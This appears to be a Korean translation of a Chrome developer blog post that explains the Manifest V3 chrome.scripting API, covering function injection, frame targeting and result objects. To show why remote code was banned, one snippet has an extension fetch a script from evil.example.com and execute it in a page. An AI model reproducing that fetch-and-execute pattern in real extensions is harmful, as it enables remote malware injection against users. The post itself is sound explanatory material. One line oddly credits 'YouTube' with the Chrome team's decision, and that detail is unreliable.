chrome.scripting 소개

Manifest V3에서는 Chrome의 확장 프로그램 플랫폼에 여러 변경사항이 도입됩니다. 이 게시물에서는 가장 주목할 만한 변경사항 중 하나인 chrome.scripting API 도입으로 인해 도입된 동기와 변경사항을 살펴봅니다.

chrome.scripting이란 무엇인가요?

이름에서 알 수 있듯이 chrome.scripting은 스크립트 및 스타일 삽입 기능을 담당하는 Manifest V3에 도입된 새로운 네임스페이스입니다.

이전에 Chrome 확장 프로그램을 만든 개발자는 Tabs API의 Manifest V2 메서드(예: chrome.tabs.executeScriptchrome.tabs.insertCSS)에 익숙할 수 있습니다. 이러한 메서드를 사용하면 확장 프로그램이 스크립트와 스타일시트를 페이지에 각각 삽입할 수 있습니다. Manifest V3에서는 이러한 기능이 chrome.scripting로 이동했으며 향후 몇 가지 새로운 기능으로 이 API를 확장할 계획입니다.

새 API를 만드는 이유는 무엇인가요?

이와 같은 변경사항이 적용되면 가장 먼저 '왜?'라는 질문이 제기되는 경향이 있습니다.

Chrome팀은 몇 가지 요인으로 인해 스크립팅을 위한 새로운 네임스페이스를 도입하기로 결정했습니다. 첫째, Tabs API는 기능의 잡동사니함과도 같습니다. 둘째, 기존 executeScript API를 중단해야 했습니다. 세 번째로 확장 프로그램의 스크립팅 기능을 확장해야 했습니다. 이러한 문제점들을 종합해 보면 스크립팅 기능을 수용할 새로운 네임스페이스가 필요하다는 점이 명확해졌습니다.

잡동사니 서랍

지난 몇 년간 확장 프로그램팀을 괴롭혀 온 문제 중 하나는 chrome.tabs API가 과부하된다는 점입니다. 이 API가 처음 도입되었을 때 제공하는 대부분의 기능은 브라우저 탭의 광범위한 개념과 관련이 있었습니다. 그때도 이 기능은 다양한 기능을 모아놓은 모음이었으며, 시간이 지남에 따라 이 모음은 점점 더 커졌습니다.

매니페스트 V3이 출시될 때 Tabs API는 기본 탭 관리, 선택 관리, 창 구성, 메시지, 확대/축소 컨트롤, 기본 탐색, 스크립팅, 기타 몇 가지 소규모 기능을 다루도록 확장되었습니다. 이러한 요소는 모두 중요하지만 개발자가 시작할 때는 다소 부담스러울 수 있으며 Chrome팀이 플랫폼을 유지하고 개발자 커뮤니티의 요청을 고려할 때도 마찬가지입니다.

또 다른 복잡한 요소는 tabs 권한이 잘 이해되지 않는다는 점입니다. 다른 많은 권한은 특정 API(예: storage)에 대한 액세스를 제한하지만 이 권한은 탭 인스턴스의 민감한 속성에 대한 확장 프로그램 액세스만 부여한다는 점에서 약간 특이합니다. 또한 확장 프로그램은 Windows API에도 영향을 미칩니다. 당연히 많은 확장 프로그램 개발자는 Tabs API의 메서드(예: chrome.tabs.create 또는 더 정확하게는 chrome.tabs.executeScript)에 액세스하려면 이 권한이 필요하다고 잘못 생각합니다. Tabs API에서 기능을 옮기면 이러한 혼란을 일부 해소하는 데 도움이 됩니다.

브레이킹 체인지

Manifest V3를 설계할 때 해결하고자 했던 주요 문제 중 하나는 실행되지만 확장 프로그램 패키지에 포함되지 않은 '원격 호스팅 코드'로 사용 설정된 악용 및 멀웨어였습니다. 악의적인 확장 프로그램 작성자는 원격 서버에서 가져온 스크립트를 실행하여 사용자 데이터를 도용하고, 멀웨어를 삽입하고, 감지를 회피하는 경우가 많습니다. 선의의 행위자도 이 기능을 사용하지만, YouTube는 이 기능을 그대로 두는 것이 너무 위험하다고 판단했습니다.

확장 프로그램에서 번들로 묶이지 않은 코드를 실행하는 방법에는 여러 가지가 있지만 여기서는 Manifest V2 chrome.tabs.executeScript 메서드가 관련이 있습니다. 이 메서드를 사용하면 확장 프로그램이 대상 탭에서 임의의 코드 문자열을 실행할 수 있습니다. 즉, 악의적인 개발자가 원격 서버에서 임의의 스크립트를 가져와 확장 프로그램이 액세스할 수 있는 페이지 내에서 실행할 수 있습니다. 원격 코드 문제를 해결하려면 이 기능을 중단해야 한다는 점을 알고 있었습니다.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

또한 Manifest V2 버전 설계의 다른 미묘한 문제를 해결하고 API를 더 세련되고 예측 가능한 도구로 만들고자 했습니다.

Tabs API 내에서 이 메서드의 서명을 변경할 수도 있었지만, 이러한 중대한 변경사항과 다음 섹션에서 다루는 새로운 기능 도입 사이에서 모두에게 더 쉬운 완전한 중단이 필요하다고 생각했습니다.

스크립팅 기능 확장

Manifest V3 설계 프로세스에 반영된 또 다른 고려사항은 Chrome의 확장 프로그램 플랫폼에 추가 스크립팅 기능을 도입하려는 욕구였습니다. 구체적으로 동적 콘텐츠 스크립트 지원을 추가하고 executeScript 메서드의 기능을 확장하고자 했습니다.

동적 콘텐츠 스크립트 지원은 Chromium에서 오랫동안 요청되어 온 기능입니다. 현재 Manifest V2 및 V3 Chrome 확장 프로그램은 manifest.json 파일에서만 콘텐츠 스크립트를 정적으로 선언할 수 있습니다. 플랫폼은 새 콘텐츠 스크립트를 등록하거나, 콘텐츠 스크립트 등록을 조정하거나, 런타임에 콘텐츠 스크립트를 등록 취소하는 방법을 제공하지 않습니다.

매니페스트 V3에서 이 기능 요청을 처리하고 싶었지만 기존 API 중 적합한 API가 없었습니다. Firefox의 Content Scripts API와도 조화를 이루는 방안을 고려했으나 초기에 이 접근 방식의 몇 가지 주요 단점을 발견했습니다. 첫째, 호환되지 않는 서명이 있을 것으로 예상되었습니다 (예: code 속성 지원 중단). 둘째, Google API에는 다른 설계 제약 조건이 있습니다 (예: 서비스 워커의 전체 기간 동안 지속되도록 등록이 필요함). 마지막으로 이 네임스페이스는 확장 프로그램에서 스크립팅을 더 광범위하게 고려하는 콘텐츠 스크립트 기능으로 한정됩니다.

executeScript 측면에서는 Tabs API 버전에서 지원하는 것 이상으로 이 API의 기능을 확장하고자 했습니다. 더 구체적으로는 함수와 인수를 지원하고, 특정 프레임을 더 쉽게 타겟팅하고, '탭'이 아닌 컨텍스트를 타겟팅하고자 했습니다.

앞으로는 확장 프로그램이 설치된 PWA 및 개념적으로 '탭'에 매핑되지 않는 다른 컨텍스트와 상호작용하는 방법도 고려하고 있습니다.

tabs.executeScript와 scripting.executeScript 간의 변경사항

이 게시물의 나머지 부분에서는 chrome.tabs.executeScriptchrome.scripting.executeScript의 유사점과 차이점을 자세히 살펴보겠습니다.

인수가 있는 함수 삽입

원격으로 호스팅되는 코드 제한사항에 따라 플랫폼을 어떻게 발전시켜야 할지 고려하면서 임의 코드 실행의 원시적인 기능과 정적 콘텐츠 스크립트만 허용하는 것 사이에서 균형을 찾고자 했습니다. 확장 프로그램이 함수를 콘텐츠 스크립트로 삽입하고 값 배열을 인수로 전달하도록 허용하는 솔루션을 찾았습니다.

(과도하게 단순화된) 예를 간단히 살펴보겠습니다. 사용자가 확장 프로그램의 작업 버튼 (툴바의 아이콘)을 클릭할 때 사용자의 이름을 사용하여 인사하는 스크립트를 삽입하려고 한다고 가정해 보겠습니다. Manifest V2에서는 코드 문자열을 동적으로 구성하고 현재 페이지에서 해당 스크립트를 실행할 수 있습니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 확장 프로그램은 확장 프로그램과 번들로 묶이지 않은 코드를 사용할 수 없지만, Manifest V2 확장 프로그램에서 임의의 코드 블록이 사용 설정한 동적 기능 중 일부를 보존하는 것이 목표였습니다. 함수 및 인수 접근 방식을 사용하면 Chrome 웹 스토어 검토자, 사용자, 기타 이해관계자가 확장 프로그램이 야기하는 위험을 더 정확하게 평가할 수 있으며 개발자는 사용자 설정 또는 애플리케이션 상태에 따라 확장 프로그램의 런타임 동작을 수정할 수 있습니다.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

타겟팅 프레임

또한 수정된 API에서 개발자가 프레임과 상호작용하는 방식을 개선하고자 했습니다. executeScript의 매니페스트 V2 버전을 사용하면 개발자가 탭의 모든 프레임 또는 탭의 특정 프레임을 타겟팅할 수 있었습니다. chrome.webNavigation.getAllFrames를 사용하여 탭의 모든 프레임 목록을 가져올 수 있습니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

매니페스트 V3에서는 옵션 객체의 선택적 frameId 정수 속성을 선택적 정수 배열 frameIds로 대체했습니다. 이를 통해 개발자는 단일 API 호출에서 여러 프레임을 타겟팅할 수 있습니다.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

스크립트 삽입 결과

또한 Manifest V3에서 스크립트 삽입 결과를 반환하는 방식도 개선되었습니다. '결과'는 기본적으로 스크립트에서 평가되는 최종 문이므로 Chrome DevTools 콘솔에서 eval()를 호출하거나 코드 블록을 실행할 때 반환되는 값과 비슷하지만 프로세스 간에 결과를 전달하기 위해 직렬화된 값이라고 생각하면 됩니다.

Manifest V2에서 executeScriptinsertCSS는 일반 실행 결과 배열을 반환합니다. 삽입 지점이 하나만 있는 경우에는 괜찮지만 여러 프레임에 삽입할 때는 결과 순서가 보장되지 않으므로 어떤 결과가 어떤 프레임과 연결되어 있는지 알 수 없습니다.

구체적인 예를 들어 동일한 확장 프로그램의 Manifest V2 버전과 Manifest V3 버전에서 반환된 results 배열을 살펴보겠습니다. 두 버전의 확장 프로그램 모두 동일한 콘텐츠 스크립트를 삽입하며 동일한 데모 페이지에서 결과를 비교합니다.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 버전을 실행하면 [1, 0, 5] 배열이 반환됩니다. 어떤 결과가 기본 프레임에 해당하고 어떤 결과가 iframe에 해당하나요? 반환 값은 알려주지 않으므로 확실히 알 수 없습니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

매니페스트 V3 버전에서는 results에 평가 결과 배열 대신 결과 객체 배열이 포함되며, 결과 객체는 각 결과의 프레임 ID를 명확하게 식별합니다. 이를 통해 개발자는 결과를 활용하고 특정 프레임에 조치를 취하는 것이 훨씬 쉬워집니다.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

마무리

매니페스트 버전 범프는 확장 프로그램 API를 재고하고 현대화할 수 있는 드문 기회입니다. Manifest V3의 목표는 확장 프로그램을 더 안전하게 만들어 최종 사용자 환경을 개선하는 동시에 개발자 환경도 개선하는 것입니다. 매니페스트 V3에 chrome.scripting를 도입함으로써 Tabs API를 정리하고, 더 안전한 확장 프로그램 플랫폼을 위해 executeScript를 재구성하고, 올해 말에 출시될 새로운 스크립팅 기능의 기반을 마련할 수 있었습니다.